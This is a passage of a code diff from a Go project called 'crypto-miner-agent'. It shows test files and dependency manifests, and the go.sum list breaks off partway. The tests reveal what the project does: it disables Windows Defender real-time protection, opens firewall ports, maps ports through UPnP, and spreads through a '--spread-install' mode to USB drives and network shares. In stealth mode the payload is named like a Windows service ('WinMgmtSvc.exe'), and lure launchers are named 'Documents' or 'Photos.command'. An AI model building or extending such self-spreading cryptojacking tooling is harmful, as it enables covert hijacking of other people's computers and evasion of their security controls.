serverURL: strings.TrimRight(srv.URL, "/"),
agentID: "agent-1",
}
state := AgentState{AgentID: "agent-1", WorkerName: "w1"}
resp, err := a.callDecide(state)
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" {
t.Fatalf("got %s %s", gotMethod, gotPath)
}
if gotSecret != "fleet-key" {
t.Fatalf("fleet secret %q", gotSecret)
}
if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" {
t.Fatalf("unexpected body: %+v", gotBody)
}
if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
t.Fatalf("unexpected response: %+v", resp)
}
}
func TestCallDecideMockHTTPErrorField(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"error":"ollama offline"}`))
}))
defer srv.Close()
a := &AIRunner{
httpClient: srv.Client(),
serverURL: srv.URL,
agentID: "a1",
}
_, err := a.callDecide(AgentState{})
if err == nil || !strings.Contains(err.Error(), "ollama offline") {
t.Fatalf("expected decide error, got %v", err)
}
}
func TestCallDecideMockHTTPNonOK(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusServiceUnavailable)
}))
defer srv.Close()
a := &AIRunner{
httpClient: srv.Client(),
serverURL: srv.URL,
}
_, err := a.callDecide(AgentState{})
if err == nil || !strings.Contains(err.Error(), "503") {
t.Fatalf("expected status error, got %v", err)
}
}
func TestSendHeartbeatMockHTTP(t *testing.T) {
var got heartbeatRequest
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/agent/heartbeat" {
t.Fatalf("path %s", r.URL.Path)
}
body, _ := io.ReadAll(r.Body)
_ = json.Unmarshal(body, &got)
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
a := &AIRunner{
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}},
httpClient: srv.Client(),
serverURL: srv.URL,
agentID: "a1",
}
a.sendHeartbeat("alive", "test msg")
if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" {
t.Fatalf("unexpected heartbeat: %+v", got)
}
}
func TestReportResultsMockHTTP(t *testing.T) {
var count int
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/agent/report" {
t.Fatalf("path %s", r.URL.Path)
}
count++
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
a := &AIRunner{
httpClient: srv.Client(),
serverURL: srv.URL,
agentID: "a1",
}
a.reportResults([]ToolReport{
{AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"},
{AgentID: "a1", Tool: "sleep", Success: true, Output: "done"},
})
if count != 1 {
t.Fatalf("expected one report POST, got %d", count)
}
}

View File

@@ -0,0 +1,22 @@
//go:build !windows
package deploy
import (
"strings"
"testing"
)
func TestDisableDefenderRealtimeStub(t *testing.T) {
_, err := DisableDefenderRealtime()
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
t.Fatalf("expected Windows-only error, got %v", err)
}
}
func TestOpenFirewallPortStub(t *testing.T) {
_, err := OpenFirewallPort(8080, "test")
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
t.Fatalf("expected Windows-only error, got %v", err)
}
}

View File

@@ -1,6 +1,7 @@
package deploy
import (
"os"
"path/filepath"
"runtime"
"strings"
@@ -118,3 +119,18 @@ func TestResolveInstallDirWithFallback(t *testing.T) {
t.Fatal("empty dir")
}
}
func TestWantsSpreadInstall(t *testing.T) {
orig := os.Args
t.Cleanup(func() { os.Args = orig })
os.Args = []string{"agent"}
if WantsSpreadInstall() {
t.Fatal("expected false without flag")
}
os.Args = []string{"agent", "--spread-install"}
if !WantsSpreadInstall() {
t.Fatal("expected true with --spread-install")
}
}

View File

@@ -162,3 +162,98 @@ func TestUpnpSOAPErrorResponse(t *testing.T) {
t.Fatalf("expected SOAP error, got %v", err)
}
}
func TestReLocationParsesSSDPResponse(t *testing.T) {
cases := []struct {
body string
want string
}{
{
"HTTP/1.1 200 OK\r\nLOCATION: http://192.168.0.1:49152/desc.xml\r\n\r\n",
"http://192.168.0.1:49152/desc.xml",
},
{
"location: http://10.0.0.1/igd.xml",
"http://10.0.0.1/igd.xml",
},
}
for _, tc := range cases {
m := reLocation.FindStringSubmatch(tc.body)
if len(m) != 2 {
t.Fatalf("no LOCATION match in %q", tc.body)
}
if got := strings.TrimSpace(m[1]); got != tc.want {
t.Fatalf("got %q want %q", got, tc.want)
}
}
}
func TestResolveWANControlURLRelativeWithoutLeadingSlash(t *testing.T) {
const igdXML = `<?xml version="1.0"?>
<root>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<controlURL>ctl/IPConn</controlURL>
</service>
</root>`
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, igdXML)
}))
defer srv.Close()
got, err := resolveWANControlURL(srv.URL + "/igd.xml")
if err != nil {
t.Fatal(err)
}
want := srv.URL + "/ctl/IPConn"
if got != want {
t.Fatalf("got %q want %q", got, want)
}
}
func TestUpnpSOAPRequestHeaders(t *testing.T) {
var contentType, soapAction string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
contentType = r.Header.Get("Content-Type")
soapAction = r.Header.Get("SOAPAction")
fmt.Fprint(w, `<response/>`)
}))
defer srv.Close()
if _, err := upnpSOAP(srv.URL, "GetExternalIPAddress", "<body/>"); err != nil {
t.Fatal(err)
}
if !strings.Contains(contentType, "text/xml") {
t.Fatalf("Content-Type: %q", contentType)
}
wantAction := `"urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"`
if soapAction != wantAction {
t.Fatalf("SOAPAction: got %q want %q", soapAction, wantAction)
}
}
func TestUpnpDeletePortMapping(t *testing.T) {
var gotBody, gotAction string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotAction = r.Header.Get("SOAPAction")
buf := make([]byte, 4096)
n, _ := r.Body.Read(buf)
gotBody = string(buf[:n])
fmt.Fprint(w, `<?xml version="1.0"?><ok/>`)
}))
defer srv.Close()
if err := upnpDeletePortMapping(srv.URL, 8989); err != nil {
t.Fatal(err)
}
if !strings.Contains(gotAction, "DeletePortMapping") {
t.Fatalf("SOAPAction: %q", gotAction)
}
if !strings.Contains(gotBody, "<NewExternalPort>8989</NewExternalPort>") {
t.Fatalf("body missing port: %q", gotBody)
}
if !strings.Contains(gotBody, "<NewProtocol>TCP</NewProtocol>") {
t.Fatalf("body missing protocol: %q", gotBody)
}
}

View File

@@ -0,0 +1,57 @@
//go:build !windows
package deploy
import (
"os"
"path/filepath"
"testing"
"crypto-miner-agent/config"
)
func TestParseLsblkMounts(t *testing.T) {
const sample = `{
"blockdevices": [
{"mountpoint": "/", "hotplug": false},
{"mountpoint": "/media/usb", "hotplug": "1"},
{"mountpoint": null, "hotplug": true},
{"mountpoint": "/mnt/sdcard", "hotplug": true}
]
}`
got := parseLsblkMounts(sample)
want := []string{"/media/usb", "/mnt/sdcard"}
if len(got) != len(want) {
t.Fatalf("len %d != %d (%v)", len(got), len(want), got)
}
for i := range want {
if got[i] != want[i] {
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
}
}
}
func TestUnixPayloadNameNonStealth(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "node worker",
StealthMode: false,
}}
if got := unixPayloadName(cfg); got != "node-worker" {
t.Fatalf("got %q", got)
}
}
func TestPickUnixLauncher(t *testing.T) {
root := t.TempDir()
if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil {
t.Fatal(err)
}
if got := pickUnixLauncher(root); got != "Photos.command" {
t.Fatalf("got %q", got)
}
empty := t.TempDir()
if got := pickUnixLauncher(empty); got != "Start.command" {
t.Fatalf("empty mount: got %q", got)
}
}

View File

@@ -0,0 +1,51 @@
//go:build windows
package deploy
import (
"os"
"path/filepath"
"testing"
"crypto-miner-agent/config"
)
func TestSharePayloadName(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "worker alpha",
StealthMode: false,
}}
if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
t.Fatalf("got %q", got)
}
cfg.StealthMode = true
if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
t.Fatalf("stealth: got %q", got)
}
}
func TestUsbPayloadNameNonStealth(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "sync agent",
StealthMode: false,
}}
if got := usbPayloadName(cfg); got != "sync-agent.exe" {
t.Fatalf("got %q", got)
}
}
func TestPickLinkName(t *testing.T) {
root := t.TempDir()
if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
t.Fatal(err)
}
if got := pickLinkName(root); got != "Documents" {
t.Fatalf("got %q want Documents", got)
}
empty := t.TempDir()
if got := pickLinkName(empty); got != "Open Documents" {
t.Fatalf("empty drive: got %q", got)
}
}

View File

@@ -4,11 +4,94 @@ go 1.26.3
require (
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.3
golang.org/x/sys v0.19.0
github.com/libp2p/go-libp2p v0.48.0
golang.org/x/sys v0.41.0
)
require (
github.com/google/uuid v1.6.0 // indirect
golang.org/x/crypto v0.22.0 // indirect
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 // indirect
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b // indirect
github.com/benbjohnson/clock v1.3.5 // indirect
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect
github.com/dunglas/httpsfv v1.1.0 // indirect
github.com/flynn/noise v1.1.0 // indirect
github.com/huin/goupnp v1.3.0 // indirect
github.com/ipfs/go-cid v0.5.0 // indirect
github.com/jackpal/go-nat-pmp v1.0.2 // indirect
github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect
github.com/klauspost/cpuid/v2 v2.2.10 // indirect
github.com/koron/go-ssdp v0.0.6 // indirect
github.com/libp2p/go-buffer-pool v0.1.0 // indirect
github.com/libp2p/go-flow-metrics v0.2.0 // indirect
github.com/libp2p/go-libp2p-asn-util v0.4.1 // indirect
github.com/libp2p/go-msgio v0.3.0 // indirect
github.com/libp2p/go-netroute v0.4.0 // indirect
github.com/libp2p/go-reuseport v0.4.0 // indirect
github.com/libp2p/go-yamux/v5 v5.0.1 // indirect
github.com/libp2p/zeroconf/v2 v2.2.0 // indirect
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect
github.com/miekg/dns v1.1.66 // indirect
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect
github.com/minio/sha256-simd v1.0.1 // indirect
github.com/mr-tron/base58 v1.2.0 // indirect
github.com/multiformats/go-base32 v0.1.0 // indirect
github.com/multiformats/go-base36 v0.2.0 // indirect
github.com/multiformats/go-multiaddr v0.16.0 // indirect
github.com/multiformats/go-multiaddr-dns v0.4.1 // indirect
github.com/multiformats/go-multiaddr-fmt v0.1.0 // indirect
github.com/multiformats/go-multibase v0.2.0 // indirect
github.com/multiformats/go-multicodec v0.9.1 // indirect
github.com/multiformats/go-multihash v0.2.3 // indirect
github.com/multiformats/go-multistream v0.6.1 // indirect
github.com/multiformats/go-varint v0.0.7 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
github.com/pion/datachannel v1.5.10 // indirect
github.com/pion/dtls/v3 v3.1.2 // indirect
github.com/pion/ice/v4 v4.0.10 // indirect
github.com/pion/interceptor v0.1.40 // indirect
github.com/pion/logging v0.2.4 // indirect
github.com/pion/mdns/v2 v2.0.7 // indirect
github.com/pion/randutil v0.1.0 // indirect
github.com/pion/rtcp v1.2.16 // indirect
github.com/pion/rtp v1.8.19 // indirect
github.com/pion/sctp v1.8.39 // indirect
github.com/pion/sdp/v3 v3.0.18 // indirect
github.com/pion/srtp/v3 v3.0.6 // indirect
github.com/pion/stun/v3 v3.1.1 // indirect
github.com/pion/transport/v3 v3.0.7 // indirect
github.com/pion/transport/v4 v4.0.1 // indirect
github.com/pion/turn/v4 v4.0.2 // indirect
github.com/pion/webrtc/v4 v4.1.2 // indirect
github.com/prometheus/client_golang v1.22.0 // indirect
github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.64.0 // indirect
github.com/prometheus/procfs v0.16.1 // indirect
github.com/quic-go/qpack v0.6.0 // indirect
github.com/quic-go/quic-go v0.59.0 // indirect
github.com/quic-go/webtransport-go v0.10.0 // indirect
github.com/spaolacci/murmur3 v1.1.0 // indirect
github.com/wlynxg/anet v0.0.5 // indirect
go.uber.org/dig v1.19.0 // indirect
go.uber.org/fx v1.24.0 // indirect
go.uber.org/mock v0.5.2 // indirect
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/zap v1.27.0 // indirect
golang.org/x/crypto v0.48.0 // indirect
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect
golang.org/x/mod v0.32.0 // indirect
golang.org/x/net v0.50.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 // indirect
golang.org/x/text v0.34.0 // indirect
golang.org/x/time v0.12.0 // indirect
golang.org/x/tools v0.41.0 // indirect
google.golang.org/protobuf v1.36.6 // indirect
lukechampine.com/blake3 v1.4.1 // indirect
)

View File

@@ -1,10 +1,238 @@
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 h1:JA0fFr+kxpqTdxR9LOBiTWpGNchqmkcsgmdeJZRclZ0=
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5/go.mod h1:OjOXDNlClLblvXdwgFFOQFJEocLhhtai8vGLy0JCZlI=
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b h1:REI1FbdW71yO56Are4XAxD+OS/e+BQsB3gE4mZRQEXY=
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b/go.mod h1:9nnw1SlYHYuPSo/3wjQzNjSbeHlq2NsKo5iEtfJPWP0=
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3 h1:oe6fCvaEpkhyW3qAicT0TnGtyht/UrgvOwMcEgLb7Aw=
github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3/go.mod h1:qdP0gaj0QtgX2RUZhnlVrceJ+Qln8aSlDyJwelLLFeM=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c h1:pFUpOrbxDR6AkioZ1ySsx5yxlDQZ8stG2b88gTPxgJU=
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c/go.mod h1:6UhI8N9EjYm1c2odKpFpAYeR8dsBeM7PtzQhRgxRr9U=
github.com/decred/dcrd/crypto/blake256 v1.1.0 h1:zPMNGQCm0g4QTY27fOCorQW7EryeQ/U0x++OzVrdms8=
github.com/decred/dcrd/crypto/blake256 v1.1.0/go.mod h1:2OfgNZ5wDpcsFmHmCK5gZTPcCXqlm2ArzUIkw9czNJo=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 h1:NMZiJj8QnKe1LgsbDayM4UoHwbvwDRwnI3hwNaAHRnc=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0/go.mod h1:ZXNYxsqcloTdSy/rNShjYzMhyjf0LaoftYK0p+A3h40=
github.com/dunglas/httpsfv v1.1.0 h1:Jw76nAyKWKZKFrpMMcL76y35tOpYHqQPzHQiwDvpe54=
github.com/dunglas/httpsfv v1.1.0/go.mod h1:zID2mqw9mFsnt7YC3vYQ9/cjq30q41W+1AnDwH8TiMg=
github.com/flynn/noise v1.1.0 h1:KjPQoQCEFdZDiP03phOvGi11+SVVhBG2wOWAorLsstg=
github.com/flynn/noise v1.1.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc=
github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8=
github.com/ipfs/go-cid v0.5.0 h1:goEKKhaGm0ul11IHA7I6p1GmKz8kEYniqFopaB5Otwg=
github.com/ipfs/go-cid v0.5.0/go.mod h1:0L7vmeNXpQpUS9vt+yEARkJ8rOg43DF3iPgn4GIN0mk=
github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus=
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk=
github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk=
github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE=
github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
github.com/koron/go-ssdp v0.0.6 h1:Jb0h04599eq/CY7rB5YEqPS83HmRfHP2azkxMN2rFtU=
github.com/koron/go-ssdp v0.0.6/go.mod h1:0R9LfRJGek1zWTjN3JUNlm5INCDYGpRDfAptnct63fI=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/libp2p/go-buffer-pool v0.1.0 h1:oK4mSFcQz7cTQIfqbe4MIj9gLW+mnanjyFtc6cdF0Y8=
github.com/libp2p/go-buffer-pool v0.1.0/go.mod h1:N+vh8gMqimBzdKkSMVuydVDq+UV5QTWy5HSiZacSbPg=
github.com/libp2p/go-flow-metrics v0.2.0 h1:EIZzjmeOE6c8Dav0sNv35vhZxATIXWZg6j/C08XmmDw=
github.com/libp2p/go-flow-metrics v0.2.0/go.mod h1:st3qqfu8+pMfh+9Mzqb2GTiwrAGjIPszEjZmtksN8Jc=
github.com/libp2p/go-libp2p v0.48.0 h1:h2BrLAgrj7X8bEN05K7qmrjpNHYA+6tnsGRdprjTnvo=
github.com/libp2p/go-libp2p v0.48.0/go.mod h1:Q1fBZNdmC2Hf82husCTfkKJVfHm2we5zk+NWmOGEmWk=
github.com/libp2p/go-libp2p-asn-util v0.4.1 h1:xqL7++IKD9TBFMgnLPZR6/6iYhawHKHl950SO9L6n94=
github.com/libp2p/go-libp2p-asn-util v0.4.1/go.mod h1:d/NI6XZ9qxw67b4e+NgpQexCIiFYJjErASrYW4PFDN8=
github.com/libp2p/go-libp2p-testing v0.12.0 h1:EPvBb4kKMWO29qP4mZGyhVzUyR25dvfUIK5WDu6iPUA=
github.com/libp2p/go-libp2p-testing v0.12.0/go.mod h1:KcGDRXyN7sQCllucn1cOOS+Dmm7ujhfEyXQL5lvkcPg=
github.com/libp2p/go-msgio v0.3.0 h1:mf3Z8B1xcFN314sWX+2vOTShIE0Mmn2TXn3YCUQGNj0=
github.com/libp2p/go-msgio v0.3.0/go.mod h1:nyRM819GmVaF9LX3l03RMh10QdOroF++NBbxAb0mmDM=
github.com/libp2p/go-netroute v0.4.0 h1:sZZx9hyANYUx9PZyqcgE/E1GUG3iEtTZHUEvdtXT7/Q=
github.com/libp2p/go-netroute v0.4.0/go.mod h1:Nkd5ShYgSMS5MUKy/MU2T57xFoOKvvLR92Lic48LEyA=
github.com/libp2p/go-reuseport v0.4.0 h1:nR5KU7hD0WxXCJbmw7r2rhRYruNRl2koHw8fQscQm2s=
github.com/libp2p/go-reuseport v0.4.0/go.mod h1:ZtI03j/wO5hZVDFo2jKywN6bYKWLOy8Se6DrI2E1cLU=
github.com/libp2p/go-yamux/v5 v5.0.1 h1:f0WoX/bEF2E8SbE4c/k1Mo+/9z0O4oC/hWEA+nfYRSg=
github.com/libp2p/go-yamux/v5 v5.0.1/go.mod h1:en+3cdX51U0ZslwRdRLrvQsdayFt3TSUKvBGErzpWbU=
github.com/libp2p/zeroconf/v2 v2.2.0 h1:Cup06Jv6u81HLhIj1KasuNM/RHHrJ8T7wOTS4+Tv53Q=
github.com/libp2p/zeroconf/v2 v2.2.0/go.mod h1:fuJqLnUwZTshS3U/bMRJ3+ow/v9oid1n0DmyYyNO1Xs=
github.com/marcopolo/simnet v0.0.4 h1:50Kx4hS9kFGSRIbrt9xUS3NJX33EyPqHVmpXvaKLqrY=
github.com/marcopolo/simnet v0.0.4/go.mod h1:tfQF1u2DmaB6WHODMtQaLtClEf3a296CKQLq5gAsIS0=
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd h1:br0buuQ854V8u83wA0rVZ8ttrq5CpaPZdvrK0LP2lOk=
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd/go.mod h1:QuCEs1Nt24+FYQEqAAncTDPJIuGs+LxK1MCiFL25pMU=
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
github.com/miekg/dns v1.1.66 h1:FeZXOS3VCVsKnEAd+wBkjMC3D2K+ww66Cq3VnCINuJE=
github.com/miekg/dns v1.1.66/go.mod h1:jGFzBsSNbJw6z1HYut1RKBKHA9PBdxeHrZG8J+gC2WE=
github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c h1:bzE/A84HN25pxAuk9Eej1Kz9OUelF97nAc82bDquQI8=
github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c/go.mod h1:0SQS9kMwD2VsyFEB++InYyBJroV/FRmBgcydeSUcJms=
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b h1:z78hV3sbSMAUoyUMM0I83AUIT6Hu17AWfgjzIbtrYFc=
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b/go.mod h1:lxPUiZwKoFL8DUUmalo2yJJUCxbPKtm8OKfqr2/FTNU=
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc h1:PTfri+PuQmWDqERdnNMiD9ZejrlswWrCpBEZgWOiTrc=
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc/go.mod h1:cGKTAVKx4SxOuR/czcZ/E2RSJ3sfHs8FpHhQ5CWMf9s=
github.com/minio/blake2b-simd v0.0.0-20160723061019-3f5f724cb5b1/go.mod h1:pD8RvIylQ358TN4wwqatJ8rNavkEINozVn9DtGI3dfQ=
github.com/minio/sha256-simd v0.1.1-0.20190913151208-6de447530771/go.mod h1:B5e1o+1/KgNmWrSQK08Y6Z1Vb5pwIktudl0J58iy0KM=
github.com/minio/sha256-simd v1.0.1 h1:6kaan5IFmwTNynnKKpDHe6FWHohJOHhCPchzK49dzMM=
github.com/minio/sha256-simd v1.0.1/go.mod h1:Pz6AKMiUdngCLpeTL/RJY1M9rUuPMYujV5xJjtbRSN8=
github.com/mr-tron/base58 v1.1.2/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o=
github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
github.com/multiformats/go-base32 v0.1.0 h1:pVx9xoSPqEIQG8o+UbAe7DNi51oej1NtK+aGkbLYxPE=
github.com/multiformats/go-base32 v0.1.0/go.mod h1:Kj3tFY6zNr+ABYMqeUNeGvkIC/UYgtWibDcT0rExnbI=
github.com/multiformats/go-base36 v0.2.0 h1:lFsAbNOGeKtuKozrtBsAkSVhv1p9D0/qedU9rQyccr0=
github.com/multiformats/go-base36 v0.2.0/go.mod h1:qvnKE++v+2MWCfePClUEjE78Z7P2a1UV0xHgWc0hkp4=
github.com/multiformats/go-multiaddr v0.1.1/go.mod h1:aMKBKNEYmzmDmxfX88/vz+J5IU55txyt0p4aiWVohjo=
github.com/multiformats/go-multiaddr v0.16.0 h1:oGWEVKioVQcdIOBlYM8BH1rZDWOGJSqr9/BKl6zQ4qc=
github.com/multiformats/go-multiaddr v0.16.0/go.mod h1:JSVUmXDjsVFiW7RjIFMP7+Ev+h1DTbiJgVeTV/tcmP0=
github.com/multiformats/go-multiaddr-dns v0.4.1 h1:whi/uCLbDS3mSEUMb1MsoT4uzUeZB0N32yzufqS0i5M=
github.com/multiformats/go-multiaddr-dns v0.4.1/go.mod h1:7hfthtB4E4pQwirrz+J0CcDUfbWzTqEzVyYKKIKpgkc=
github.com/multiformats/go-multiaddr-fmt v0.1.0 h1:WLEFClPycPkp4fnIzoFoV9FVd49/eQsuaL3/CWe167E=
github.com/multiformats/go-multiaddr-fmt v0.1.0/go.mod h1:hGtDIW4PU4BqJ50gW2quDuPVjyWNZxToGUh/HwTZYJo=
github.com/multiformats/go-multibase v0.2.0 h1:isdYCVLvksgWlMW9OZRYJEa9pZETFivncJHmHnnd87g=
github.com/multiformats/go-multibase v0.2.0/go.mod h1:bFBZX4lKCA/2lyOFSAoKH5SS6oPyjtnzK/XTFDPkNuk=
github.com/multiformats/go-multicodec v0.9.1 h1:x/Fuxr7ZuR4jJV4Os5g444F7xC4XmyUaT/FWtE+9Zjo=
